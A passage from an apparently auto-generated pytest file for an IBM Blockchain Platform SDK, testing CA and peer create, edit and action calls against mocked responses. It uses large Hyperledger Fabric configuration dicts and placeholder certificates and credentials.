config_ca_intermediate_model['parentserver'] = config_ca_intermediate_parentserver_model
config_ca_intermediate_model['enrollment'] = config_ca_intermediate_enrollment_model
config_ca_intermediate_model['tls'] = config_ca_intermediate_tls_model
# Construct a dict representation of a ConfigCACfgIdentities model
config_ca_cfg_identities_model = {}
config_ca_cfg_identities_model['passwordattempts'] = 10
config_ca_cfg_identities_model['allowremove'] = False
# Construct a dict representation of a ConfigCACfg model
config_ca_cfg_model = {}
config_ca_cfg_model['identities'] = config_ca_cfg_identities_model
# Construct a dict representation of a MetricsStatsd model
metrics_statsd_model = {}
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
# Construct a dict representation of a Metrics model
metrics_model = {}
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a dict representation of a ConfigCAUpdate model
config_ca_update_model = {}
config_ca_update_model['cors'] = config_ca_cors_model
config_ca_update_model['debug'] = False
config_ca_update_model['crlsizelimit'] = 512000
config_ca_update_model['tls'] = config_ca_tls_model
config_ca_update_model['ca'] = config_ca_ca_model
config_ca_update_model['crl'] = config_ca_crl_model
config_ca_update_model['registry'] = config_ca_registry_model
config_ca_update_model['db'] = config_ca_db_model
config_ca_update_model['affiliations'] = config_ca_affiliations_model
config_ca_update_model['csr'] = config_ca_csr_model
config_ca_update_model['idemix'] = config_ca_idemix_model
config_ca_update_model['BCCSP'] = bccsp_model
config_ca_update_model['intermediate'] = config_ca_intermediate_model
config_ca_update_model['cfg'] = config_ca_cfg_model
config_ca_update_model['metrics'] = metrics_model
# Construct a dict representation of a UpdateCaBodyConfigOverride model
update_ca_body_config_override_model = {}
update_ca_body_config_override_model['ca'] = config_ca_update_model
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a UpdateCaBodyResources model
update_ca_body_resources_model = {}
update_ca_body_resources_model['ca'] = resource_object_model
# Set up parameter values
id = 'testString'
config_override = update_ca_body_config_override_model
replicas = 1
resources = update_ca_body_resources_model
version = '1.4.6-1'
zone = '-'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.update_ca(**req_copy)
class TestEditCa():
"""
Test Class for edit_ca
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_edit_ca_all_params(self):
"""
edit_ca()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-ca/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "display_name": "My CA", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "location": "ibmcloud", "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"ca": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
display_name = 'My CA'
api_url = 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:7054'
operations_url = 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443'
ca_name = 'ca'
location = 'ibmcloud'
tags = ['fabric-ca']
# Invoke method
response = service.edit_ca(
id,
display_name=display_name,
api_url=api_url,
operations_url=operations_url,
ca_name=ca_name,
location=location,
tags=tags,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['display_name'] == 'My CA'
assert req_body['api_url'] == 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:7054'
assert req_body['operations_url'] == 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443'
assert req_body['ca_name'] == 'ca'
assert req_body['location'] == 'ibmcloud'
assert req_body['tags'] == ['fabric-ca']
@responses.activate
def test_edit_ca_value_error(self):
"""
test_edit_ca_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/fabric-ca/testString')
mock_response = '{"id": "component1", "dep_component_id": "admin", "display_name": "My CA", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "location": "ibmcloud", "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"ca": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
display_name = 'My CA'
api_url = 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:7054'
operations_url = 'https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443'
ca_name = 'ca'
location = 'ibmcloud'
tags = ['fabric-ca']
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.edit_ca(**req_copy)
class TestCaAction():
"""
Test Class for ca_action
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_ca_action_all_params(self):
"""
ca_action()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-ca/testString/actions')
mock_response = '{"message": "accepted", "id": "myca", "actions": ["restart"]}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=202)
# Construct a dict representation of a ActionRenew model
action_renew_model = {}
action_renew_model['tls_cert'] = True
# Set up parameter values
id = 'testString'
restart = True
renew = action_renew_model
# Invoke method
response = service.ca_action(
id,
restart=restart,
renew=renew,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 202
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['restart'] == True
assert req_body['renew'] == action_renew_model
@responses.activate
def test_ca_action_value_error(self):
"""
test_ca_action_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-ca/testString/actions')
mock_response = '{"message": "accepted", "id": "myca", "actions": ["restart"]}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=202)
# Construct a dict representation of a ActionRenew model
action_renew_model = {}
action_renew_model['tls_cert'] = True
# Set up parameter values
id = 'testString'
restart = True
renew = action_renew_model
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.ca_action(**req_copy)
class TestCreatePeer():
"""
Test Class for create_peer
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_create_peer_all_params(self):
"""
create_peer()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-peer')
mock_response = '{"id": "component1", "dep_component_id": "admin", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "display_name": "My Peer", "grpcwp_url": "https://n3a3ec3-mypeer-proxy.ibp.us-south.containers.appdomain.cloud:8084", "location": "ibmcloud", "operations_url": "https://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "node_ou": {"enabled": true}, "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "resources": {"peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"peer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "type": "fabric-peer", "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a CryptoEnrollmentComponent model
crypto_enrollment_component_model = {}
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a dict representation of a CryptoObjectEnrollmentCa model
crypto_object_enrollment_ca_model = {}
crypto_object_enrollment_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_ca_model['port'] = 7054
crypto_object_enrollment_ca_model['name'] = 'ca'
crypto_object_enrollment_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_ca_model['enroll_id'] = 'admin'
crypto_object_enrollment_ca_model['enroll_secret'] = 'password'
# Construct a dict representation of a CryptoObjectEnrollmentTlsca model
crypto_object_enrollment_tlsca_model = {}
crypto_object_enrollment_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
crypto_object_enrollment_tlsca_model['port'] = 7054
crypto_object_enrollment_tlsca_model['name'] = 'tlsca'
crypto_object_enrollment_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
crypto_object_enrollment_tlsca_model['enroll_id'] = 'admin'
crypto_object_enrollment_tlsca_model['enroll_secret'] = 'password'
crypto_object_enrollment_tlsca_model['csr_hosts'] = ['testString']
# Construct a dict representation of a CryptoObjectEnrollment model
crypto_object_enrollment_model = {}
crypto_object_enrollment_model['component'] = crypto_enrollment_component_model
crypto_object_enrollment_model['ca'] = crypto_object_enrollment_ca_model
crypto_object_enrollment_model['tlsca'] = crypto_object_enrollment_tlsca_model
# Construct a dict representation of a ClientAuth model
client_auth_model = {}
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
# Construct a dict representation of a MspCryptoComp model
msp_crypto_comp_model = {}
msp_crypto_comp_model['ekey'] = 'testString'
msp_crypto_comp_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_comp_model['tls_key'] = 'testString'
msp_crypto_comp_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model['client_auth'] = client_auth_model
# Construct a dict representation of a MspCryptoCa model
msp_crypto_ca_model = {}
msp_crypto_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_ca_model['ca_intermediate_certs'] = ['testString']
# Construct a dict representation of a CryptoObjectMsp model
crypto_object_msp_model = {}
crypto_object_msp_model['component'] = msp_crypto_comp_model
crypto_object_msp_model['ca'] = msp_crypto_ca_model
crypto_object_msp_model['tlsca'] = msp_crypto_ca_model
# Construct a dict representation of a CryptoObject model
crypto_object_model = {}
crypto_object_model['enrollment'] = crypto_object_enrollment_model
crypto_object_model['msp'] = crypto_object_msp_model
# Construct a dict representation of a ConfigPeerKeepaliveClient model
config_peer_keepalive_client_model = {}
config_peer_keepalive_client_model['interval'] = '60s'
config_peer_keepalive_client_model['timeout'] = '20s'
# Construct a dict representation of a ConfigPeerKeepaliveDeliveryClient model
config_peer_keepalive_delivery_client_model = {}
config_peer_keepalive_delivery_client_model['interval'] = '60s'
config_peer_keepalive_delivery_client_model['timeout'] = '20s'
# Construct a dict representation of a ConfigPeerKeepalive model
config_peer_keepalive_model = {}
config_peer_keepalive_model['minInterval'] = '60s'
config_peer_keepalive_model['client'] = config_peer_keepalive_client_model
config_peer_keepalive_model['deliveryClient'] = config_peer_keepalive_delivery_client_model
# Construct a dict representation of a ConfigPeerGossipElection model
config_peer_gossip_election_model = {}
config_peer_gossip_election_model['startupGracePeriod'] = '15s'
config_peer_gossip_election_model['membershipSampleInterval'] = '1s'
config_peer_gossip_election_model['leaderAliveThreshold'] = '10s'
config_peer_gossip_election_model['leaderElectionDuration'] = '5s'
# Construct a dict representation of a ConfigPeerGossipPvtDataImplicitCollectionDisseminationPolicy model
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model = {}
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['requiredPeerCount'] = 0
config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model['maxPeerCount'] = 1
# Construct a dict representation of a ConfigPeerGossipPvtData model
config_peer_gossip_pvt_data_model = {}
config_peer_gossip_pvt_data_model['pullRetryThreshold'] = '60s'
config_peer_gossip_pvt_data_model['transientstoreMaxBlockRetention'] = 1000
config_peer_gossip_pvt_data_model['pushAckTimeout'] = '3s'
config_peer_gossip_pvt_data_model['btlPullMargin'] = 10
config_peer_gossip_pvt_data_model['reconcileBatchSize'] = 10
config_peer_gossip_pvt_data_model['reconcileSleepInterval'] = '1m'
config_peer_gossip_pvt_data_model['reconciliationEnabled'] = True
config_peer_gossip_pvt_data_model['skipPullingInvalidTransactionsDuringCommit'] = False
config_peer_gossip_pvt_data_model['implicitCollectionDisseminationPolicy'] = config_peer_gossip_pvt_data_implicit_collection_dissemination_policy_model
# Construct a dict representation of a ConfigPeerGossipState model
config_peer_gossip_state_model = {}
config_peer_gossip_state_model['enabled'] = True
config_peer_gossip_state_model['checkInterval'] = '10s'
config_peer_gossip_state_model['responseTimeout'] = '3s'
config_peer_gossip_state_model['batchSize'] = 10
config_peer_gossip_state_model['blockBufferSize'] = 100
config_peer_gossip_state_model['maxRetries'] = 3
# Construct a dict representation of a ConfigPeerGossip model
config_peer_gossip_model = {}
config_peer_gossip_model['useLeaderElection'] = True
config_peer_gossip_model['orgLeader'] = False
config_peer_gossip_model['membershipTrackerInterval'] = '5s'
config_peer_gossip_model['maxBlockCountToStore'] = 100
config_peer_gossip_model['maxPropagationBurstLatency'] = '10ms'
config_peer_gossip_model['maxPropagationBurstSize'] = 10
config_peer_gossip_model['propagateIterations'] = 3
config_peer_gossip_model['pullInterval'] = '4s'
config_peer_gossip_model['pullPeerNum'] = 3
config_peer_gossip_model['requestStateInfoInterval'] = '4s'
config_peer_gossip_model['publishStateInfoInterval'] = '4s'
config_peer_gossip_model['stateInfoRetentionInterval'] = '0s'
config_peer_gossip_model['publishCertPeriod'] = '10s'
config_peer_gossip_model['skipBlockVerification'] = False
config_peer_gossip_model['dialTimeout'] = '3s'
config_peer_gossip_model['connTimeout'] = '2s'
config_peer_gossip_model['recvBuffSize'] = 20
config_peer_gossip_model['sendBuffSize'] = 200
config_peer_gossip_model['digestWaitTime'] = '1s'
config_peer_gossip_model['requestWaitTime'] = '1500ms'
config_peer_gossip_model['responseWaitTime'] = '2s'
config_peer_gossip_model['aliveTimeInterval'] = '5s'
config_peer_gossip_model['aliveExpirationTimeout'] = '25s'
config_peer_gossip_model['reconnectInterval'] = '25s'
config_peer_gossip_model['election'] = config_peer_gossip_election_model
config_peer_gossip_model['pvtData'] = config_peer_gossip_pvt_data_model
config_peer_gossip_model['state'] = config_peer_gossip_state_model
# Construct a dict representation of a ConfigPeerAuthentication model
config_peer_authentication_model = {}
config_peer_authentication_model['timewindow'] = '15m'
# Construct a dict representation of a BccspSW model
bccsp_sw_model = {}
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
# Construct a dict representation of a BccspPKCS11 model
bccsp_pkc_s11_model = {}
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
# Construct a dict representation of a Bccsp model
bccsp_model = {}
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
# Construct a dict representation of a ConfigPeerClient model
config_peer_client_model = {}
config_peer_client_model['connTimeout'] = '2s'
# Construct a dict representation of a ConfigPeerDeliveryclientAddressOverridesItem model
config_peer_deliveryclient_address_overrides_item_model = {}
config_peer_deliveryclient_address_overrides_item_model['from'] = 'n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['to'] = 'n3a3ec3-myorderer2.ibp.us-south.containers.appdomain.cloud:7050'
config_peer_deliveryclient_address_overrides_item_model['caCertsFile'] = 'my-data/cert.pem'
# Construct a dict representation of a ConfigPeerDeliveryclient model
config_peer_deliveryclient_model = {}
config_peer_deliveryclient_model['reconnectTotalTimeThreshold'] = '60m'
config_peer_deliveryclient_model['connTimeout'] = '2s'
config_peer_deliveryclient_model['reConnectBackoffThreshold'] = '60m'
config_peer_deliveryclient_model['addressOverrides'] = [config_peer_deliveryclient_address_overrides_item_model]
# Construct a dict representation of a ConfigPeerAdminService model
config_peer_admin_service_model = {}
config_peer_admin_service_model['listenAddress'] = '0.0.0.0:7051'
# Construct a dict representation of a ConfigPeerDiscovery model
config_peer_discovery_model = {}
config_peer_discovery_model['enabled'] = True
config_peer_discovery_model['authCacheEnabled'] = True
config_peer_discovery_model['authCacheMaxSize'] = 1000
config_peer_discovery_model['authCachePurgeRetentionRatio'] = 0.75
config_peer_discovery_model['orgMembersAllowedAccess'] = False
# Construct a dict representation of a ConfigPeerLimitsConcurrency model
config_peer_limits_concurrency_model = {}
config_peer_limits_concurrency_model['endorserService'] = 2500
config_peer_limits_concurrency_model['deliverService'] = 2500
# Construct a dict representation of a ConfigPeerLimits model
config_peer_limits_model = {}
config_peer_limits_model['concurrency'] = config_peer_limits_concurrency_model
# Construct a dict representation of a ConfigPeerGateway model
config_peer_gateway_model = {}
config_peer_gateway_model['enabled'] = True
# Construct a dict representation of a ConfigPeerCreatePeer model
config_peer_create_peer_model = {}
config_peer_create_peer_model['id'] = 'john-doe'
config_peer_create_peer_model['networkId'] = 'dev'
config_peer_create_peer_model['keepalive'] = config_peer_keepalive_model
config_peer_create_peer_model['gossip'] = config_peer_gossip_model
config_peer_create_peer_model['authentication'] = config_peer_authentication_model
config_peer_create_peer_model['BCCSP'] = bccsp_model
config_peer_create_peer_model['client'] = config_peer_client_model
config_peer_create_peer_model['deliveryclient'] = config_peer_deliveryclient_model
config_peer_create_peer_model['adminService'] = config_peer_admin_service_model
config_peer_create_peer_model['validatorPoolSize'] = 8
config_peer_create_peer_model['discovery'] = config_peer_discovery_model
config_peer_create_peer_model['limits'] = config_peer_limits_model
config_peer_create_peer_model['gateway'] = config_peer_gateway_model
# Construct a dict representation of a ConfigPeerChaincodeGolang model
config_peer_chaincode_golang_model = {}
config_peer_chaincode_golang_model['dynamicLink'] = False
# Construct a dict representation of a ConfigPeerChaincodeExternalBuildersItem model
config_peer_chaincode_external_builders_item_model = {}
config_peer_chaincode_external_builders_item_model['path'] = '/path/to/directory'
config_peer_chaincode_external_builders_item_model['name'] = 'descriptive-build-name'
config_peer_chaincode_external_builders_item_model['environmentWhitelist'] = ['GOPROXY']
# Construct a dict representation of a ConfigPeerChaincodeSystem model
config_peer_chaincode_system_model = {}
config_peer_chaincode_system_model['cscc'] = True
config_peer_chaincode_system_model['lscc'] = True
config_peer_chaincode_system_model['escc'] = True
config_peer_chaincode_system_model['vscc'] = True
config_peer_chaincode_system_model['qscc'] = True
# Construct a dict representation of a ConfigPeerChaincodeLogging model
config_peer_chaincode_logging_model = {}
config_peer_chaincode_logging_model['level'] = 'info'
config_peer_chaincode_logging_model['shim'] = 'warning'
config_peer_chaincode_logging_model['format'] = '%{color}%{time:2006-01-02 15:04:05.000 MST} [%{module}] %{shortfunc} -> %{level:.4s} %{id:03x}%{color:reset} %{message}'
# Construct a dict representation of a ConfigPeerChaincode model
config_peer_chaincode_model = {}
config_peer_chaincode_model['golang'] = config_peer_chaincode_golang_model
config_peer_chaincode_model['externalBuilders'] = [config_peer_chaincode_external_builders_item_model]
config_peer_chaincode_model['installTimeout'] = '300s'
config_peer_chaincode_model['startuptimeout'] = '300s'
config_peer_chaincode_model['executetimeout'] = '30s'
config_peer_chaincode_model['system'] = config_peer_chaincode_system_model
config_peer_chaincode_model['logging'] = config_peer_chaincode_logging_model
# Construct a dict representation of a MetricsStatsd model
metrics_statsd_model = {}
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
# Construct a dict representation of a Metrics model
metrics_model = {}
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a dict representation of a ConfigPeerCreate model
config_peer_create_model = {}
config_peer_create_model['peer'] = config_peer_create_peer_model
config_peer_create_model['chaincode'] = config_peer_chaincode_model
config_peer_create_model['metrics'] = metrics_model
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObjectFabV2 model
resource_object_fab_v2_model = {}
resource_object_fab_v2_model['requests'] = resource_requests_model
resource_object_fab_v2_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObjectCouchDb model
resource_object_couch_db_model = {}
resource_object_couch_db_model['requests'] = resource_requests_model
resource_object_couch_db_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a ResourceObjectFabV1 model
resource_object_fab_v1_model = {}
resource_object_fab_v1_model['requests'] = resource_requests_model
resource_object_fab_v1_model['limits'] = resource_limits_model
# Construct a dict representation of a PeerResources model
peer_resources_model = {}
peer_resources_model['chaincodelauncher'] = resource_object_fab_v2_model
peer_resources_model['couchdb'] = resource_object_couch_db_model
peer_resources_model['statedb'] = resource_object_model
peer_resources_model['dind'] = resource_object_fab_v1_model
peer_resources_model['fluentd'] = resource_object_fab_v1_model
peer_resources_model['peer'] = resource_object_model
peer_resources_model['proxy'] = resource_object_model
# Construct a dict representation of a StorageObject model
storage_object_model = {}
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a dict representation of a CreatePeerBodyStorage model
create_peer_body_storage_model = {}
create_peer_body_storage_model['peer'] = storage_object_model
create_peer_body_storage_model['statedb'] = storage_object_model
# Construct a dict representation of a Hsm model
hsm_model = {}
hsm_model['pkcs11endpoint'] = 'tcp://example.com:666'
# Set up parameter values
msp_id = 'Org1'
display_name = 'My Peer'
crypto = crypto_object_model
id = 'component1'
config_override = config_peer_create_model
resources = peer_resources_model
storage = create_peer_body_storage_model
zone = '-'
state_db = 'couchdb'
tags = ['fabric-ca']
